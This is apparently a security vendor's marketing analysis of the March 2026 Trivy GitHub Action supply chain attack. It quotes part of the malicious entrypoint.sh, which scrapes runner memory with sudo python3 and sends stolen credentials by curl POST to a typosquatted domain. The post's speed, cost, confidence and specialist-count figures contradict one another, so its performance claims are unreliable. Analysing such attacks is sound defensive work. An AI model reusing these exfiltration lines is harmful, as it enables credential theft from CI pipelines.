NecessityWorks
Technical Analysis • March 2026

Trivy Breach: Trivy-ally Easy to Detect with NecessityWorks

How our AI-powered code review identified every indicator of the Trivy supply chain attack

VERDICT: DETECTED — 25 findings across 8 CWE categories, consolidated into 1 CRITICAL alert (Confidence: 100%)

NecessityWorks identified the malicious payload as a comprehensive credential-harvesting backdoor targeting SSH keys, cloud credentials, Kubernetes tokens, database passwords, and cryptocurrency wallets. 8 of 9 security specialists independently flagged the attack, producing 25 raw findings across 8 CWE categories. The post-processor validated all 25, then deduplicated overlapping detections into a single comprehensive alert — one actionable finding instead of 25 noisy ones. Analysis completed in under 3 minutes at a cost of $2.53.

Request Early Access →

What Happened

On March 19, 2026, threat actors compromised Aqua Security's trivy-action GitHub Action — a security scanner used in thousands of CI/CD pipelines. The attack, linked by researchers to a group tracked as TeamPCP, used compromised credentials to force-push 76 of 77 version tags to point to a malicious commit containing credential-stealing malware in entrypoint.sh. A malicious release (v0.69.4) was also published.

The malicious commit was crafted to appear as a routine maintenance change. The compromised tags remained active for up to 12 hours, while the malicious binary release was live for approximately 3 hours before Aqua Security intervened.

The Malicious Code

Behind the innocuous commit message, 105 lines of malicious bash and base64-encoded Python were injected before the legitimate Trivy scanner code:

# What the commit message said: "bump Trivy version"
# What the code actually did:

_COLLECT_PIDS="$$"
for _name in Runner.Worker Runner.Listener runsvc run.sh; do
  _PIDS=$(pgrep -f "$_name" 2>/dev/null || true)
done

# Read process memory to extract masked GitHub Actions secrets
PYTHON_STR='aW1wb3J0IHN5cy...'  # Base64-encoded memory scraper
MEMORY_SECRETS=$(echo -n "$PYTHON_STR" | base64 -d | sudo python3)

# Harvest SSH keys, AWS creds, K8s tokens, crypto wallets, DB passwords
# Encrypt with attacker's RSA key, exfiltrate to typosquatted domain
curl -X POST https://scan.aquasecurtiy.org --data-binary "@${_BUNDLE}"

# Fallback: create a GitHub repo using stolen PAT, upload as release
curl -X POST "${_GH_API}/user/repos" -H "$_GH_AUTH" ...

The payload was sophisticated: process memory dumping to bypass GitHub's secret masking, RSA encryption of stolen data, a typosquatted exfiltration domain (aquasecurtiy.org), and a fallback channel using the victim's own GitHub PAT to create a repo and upload stolen data as a release asset.

Why Traditional SAST Missed It

What SAST tools see

  • No SQL injection patterns
  • No XSS vectors
  • No buffer overflows
  • No known CVE signatures
  • Valid bash syntax
  • No Semgrep rule matches

What NecessityWorks sees

  • Base64-encoded executable payloads
  • Process memory access (/proc/PID/mem)
  • Mass credential file harvesting
  • RSA key for asymmetric encryption
  • Exfiltration to external domain
  • GitHub API abuse via stolen token
  • GitHub repo misconfiguration (unsigned tags, force-push permitted)

This wasn't vulnerable code. It was intentionally malicious code, well-written to evade detection. There's no CVE to match against because the code works exactly as the attacker intended. Pattern-matching scanners see valid bash. NecessityWorks’s AI specialists understand intent.

How NecessityWorks Detected It

We reconstructed the attack scenario by submitting the malicious commit's diff to NecessityWorks’s analysis pipeline — the same code changes, the same file modifications, against the clean repository state. This simulates what would have happened if NecessityWorks had been reviewing changes to trivy-action when the malicious code was introduced.

Routing
Supervisor analyzed the PR and flagged it as "a MALICIOUS supply chain attack disguised as a version bump" — identifying 10 distinct attack techniques in the diff. Routed to 9 of 12 security specialists based on the file types and attack surface detected.
Specialists
All 9 routed specialists analyzed the diff in parallel, with file-level code inspection. Every security specialist identified malicious behavior. 25 raw findings produced across 8 CWE categories.
Validation
Post-processor validated all 25 findings. Zero rejected.
Dedup
Overlapping findings merged into 1 comprehensive finding with corroborating CWEs. Multiple specialists independently identified the same attack from different angles — strengthening confidence in the detection.
Verification
Stage 2 verifier confirmed the finding as CRITICAL at 99% confidence via independent LLM verification. Automatically classified as a zero-day threat based on CWE-506 and multi-specialist consensus.
Result
1 CRITICAL finding delivered identifying the full attack chain: credential harvesting, memory scraping, encrypted exfiltration, and fallback data theft via GitHub API.

What Each Specialist Found

Specialist Findings Primary Detection
SSRF & Exceptional 5 AWS metadata SSRF (169.254.169.254), container credential endpoint, curl exfiltration to typosquatted domain
Cryptographic Failures 4 RSA public key for data encryption, base64-obfuscated payloads, SSH key harvesting, credential file theft
Data Integrity 4 CI/CD pipeline compromise, malicious payload in trusted automation, workflow file tampering
Broken Access Control 3 Process memory reading (/proc/PID/mem), cross-process secret extraction via sudo, filesystem traversal
Auth Failures 3 Credential-stealing trojan, PAT exfiltration, K8s service account token theft
Logging & Monitoring 2 Error suppression to hide malicious activity, no audit trail for credential access
Injection 2 Base64-decoded eval/exec execution, shell command injection via subprocess
Security Misconfiguration 1 Sudo privilege escalation, /proc filesystem access, workflow security weakening
Insecure Design 1 Weaponized GitHub Action entrypoint — fundamental architectural attack pattern
Quality Control Correctly determined this is a security issue, not a quality issue

The Merged Finding

After deduplication, NecessityWorks delivered one comprehensive finding covering every facet of the attack. 25 raw findings from 9 specialists were consolidated into a single actionable alert with 8 corroborating CWE categories:

CWE-506 Embedded Malicious Code CWE-78 OS Command Injection CWE-522 Credential Exposure CWE-918 SSRF CWE-200 Information Exposure CWE-327 Broken Cryptography CWE-829 Untrusted Code Inclusion CWE-778 Insufficient Logging

CWE-506 (Embedded Malicious Code) is the primary classification — intentionally malicious code planted in a trusted component. The corroborating CWEs describe the specific attack techniques: command injection for code execution, credential harvesting across filesystems and process memory, SSRF to cloud metadata endpoints, RSA-encrypted exfiltration, and anti-forensics patterns. Each CWE was independently identified by a different specialist analyzing the same code from a different security perspective.

Instead of dozens of separate noisy alerts, developers see one actionable finding that enumerates the complete kill chain — what the code does, how it exfiltrates data, and which credentials are at risk.

A note on CWE classification: CWE mapping is performed by AI specialists and may not always match a manual analyst's classification exactly. CWE categorization can be inherently subjective — the same code may reasonably be classified as CWE-78 (injection) or CWE-94 (code injection) depending on perspective. NecessityWorks prioritizes detecting the vulnerability correctly over debating taxonomy. CWE accuracy is continuously improving as our models and verification pipeline mature.

Detection Performance

9
Specialists flagged
~4min
Analysis time
$2.84
Total cost
8
CWE categories

The compromised tags were active for up to 12 hours before remediation was complete. In our simulated analysis, NecessityWorks identified the malicious payload within the analysis window. In a production deployment reviewing code changes before they reach release tags, this attack would have been flagged before the malicious code was ever published.

Why This Matters

Supply chain attacks are the new normal

The Trivy breach wasn't an isolated incident. It followed the XZ Utils backdoor, the Codecov bash uploader compromise, and the SolarWinds attack. These attacks share a pattern: malicious code injected into trusted automation, disguised as routine maintenance, designed to evade pattern-matching scanners.

Code scanning alone isn't enough

NecessityWorks caught the malicious payload. But the broader NecessityWorks platform would have caught this attack before the code was ever written — at two earlier stages.

Three Layers of Defense

The Trivy attack exploited weak repository configuration to push malicious code using stolen credentials. NecessityWorks addresses this across three distinct layers:

Layer 1 — Before the Attack

NecessityWorks config assessment

Configuration assessment would have flagged the conditions that made this attack possible:

  • ! Tag signing not enforced — force-pushes accepted without verification
  • ! Audit log streaming not configured — no real-time visibility into admin actions
  • ! Credential rotation incomplete after first incident — attacker retained access
  • ! Push protection rules insufficient for release tags

Continuous GitHub posture assessment aligned to CIS, SOC 2, and NIST.

Layer 2 — During the Attack

NecessityWorks real-time detection

Real-time SIEM detection would have fired the moment compromised credentials were used:

  • > 76 tags force-pushed in rapid succession — anomalous bulk operation detected
  • > Tag hijacking correlated with malicious release publication
  • > Multi-stage supply chain compromise chain identified automatically
  • > Push protection bypass without credential rotation flagged

Real-time GitHub audit log streaming with multi-stage attack chain detection.

Layer 3 — The Code Itself

NecessityWorks

AI-powered code review catches the malicious payload regardless of how it was delivered:

  • + Base64-obfuscated Python credential stealer identified
  • + Process memory scraping and filesystem harvesting detected
  • + RSA-encrypted exfiltration to typosquatted domain flagged
  • + All routed specialists independently confirmed the attack

CWE-506 + 7 corroborating CWEs. 99% confidence. $2.84, under 4 minutes.

Any single layer would have caught this attack. NecessityWorks config assessment would have flagged the weak configuration before the attacker even had access. NecessityWorks real-time detection would have detected the credential abuse in real time. NecessityWorks would have identified the malicious code itself. Together, they provide defense in depth that no single-point solution can match.

How We Tested

We submitted the malicious commit's diff to NecessityWorks — the same code changes, the same file modifications, against the clean repository state. This replicates what happens when NecessityWorks monitors a repository: every code change is automatically analyzed by multiple AI security specialists before it can reach production.

NecessityWorks config assessment and NecessityWorks real-time detection coverage was validated against the known attack timeline. The configuration weaknesses that enabled the attack (missing audit streaming, unsigned tags, incomplete credential rotation) are all assessed by the NecessityWorks posture-management layer. The real-time detection rules match the exact sequence of events — bulk tag force-pushing followed by malicious release publication.

Config assessment, real-time detection, and AI-Native SAST.

NecessityWorks is currently in early access with a limited group of design partners. Reach out and we’ll onboard you personally.

Request Early Access →